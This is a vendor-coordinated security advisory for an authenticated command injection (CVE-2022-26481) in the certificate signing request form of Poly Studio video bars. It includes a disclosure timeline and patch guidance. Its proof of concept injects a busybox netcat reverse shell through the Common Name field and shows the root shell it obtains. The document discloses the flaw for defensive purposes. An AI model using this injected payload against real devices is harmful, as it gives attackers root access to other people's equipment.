Authenticated Command Injection in Poly Studio


Authenticated Command Injection


Poly Studio X30, Studio X50, Studio X70, G7500

Vulnerable Version

3.4.0-292042, 3.5.0-344025, 3.6.0

Fixed Version

3.7.0 or higher

CVE Number







Johannes Kruchem (Office Vienna) | SEC Consult Vulnerability Lab

Multiple Poly devices are prone to an authenticated OS Command Injection vulnerability. The commands are executed with root privileges.

Vendor description

"Experience full board-room-quality audio, and knock-your-socks-off video, for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically simple to use with support for leading cloud video services built right in—no PC or Mac required. Voices are crisp and clear. Video feels natural. And wireless content sharing lets users collaborate from their devices without cables or pucks."

Business recommendation

The vendor provides a patch which should be installed immediately. 

Vulnerability overview/description

1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) 

An authenticated Command Injection vulnerability exists in the web interface when creating a certificate. An attacker is able to execute commands with root privileges. 

Proof of concept

1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) 

When being authenticated: 

1. In the system web interface, go to Security > Certificates. 

2. Select Create Certificate Signing Request (CSR). 

3. In the Certificate Details form, complete the following fields: 

Common Name (CN): $(busybox nc 8888 -e /system/bin/sh) 

(steps taken from 

The previously started nc listener receives a connection from the camera as root: 

$ nc -lvp 8888 
connect to [] from (UNKNOWN) [] 
$ pwd 
$ whoami 

Vulnerable / tested versions

At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and G7500 are affected: 

  • 3.4.0 
  • 3.5.0 
  • 3.6.0 

Vendor contact timeline

2021-07-14 Contacting vendor through PSIRT email.
2021-07-15 Vendor sent PGP key.
2021-07-16 Advisory was sent to the vendor.
2021-07 to 2022-03 Further coordination with multiple emails and meetings.
2022-03-18 Vendor provides draft advisory.
2022-03 - 2022-06 Patch already available, waiting for vendor advisory release.
2022-06-01 Coordinated release of security advisory.


Update to firmware version 3.7.0 or higher. 

The firmware can be downloaded from the vendor's support page:

This issue has been documented in the vendor's security advisory PLYTV21-09:


In order to minimize the risk of exploitation, set a strong password for the web interface and restrict network access to the device. 

Advisory URL

EOF Johannes Kruchem / @2022 

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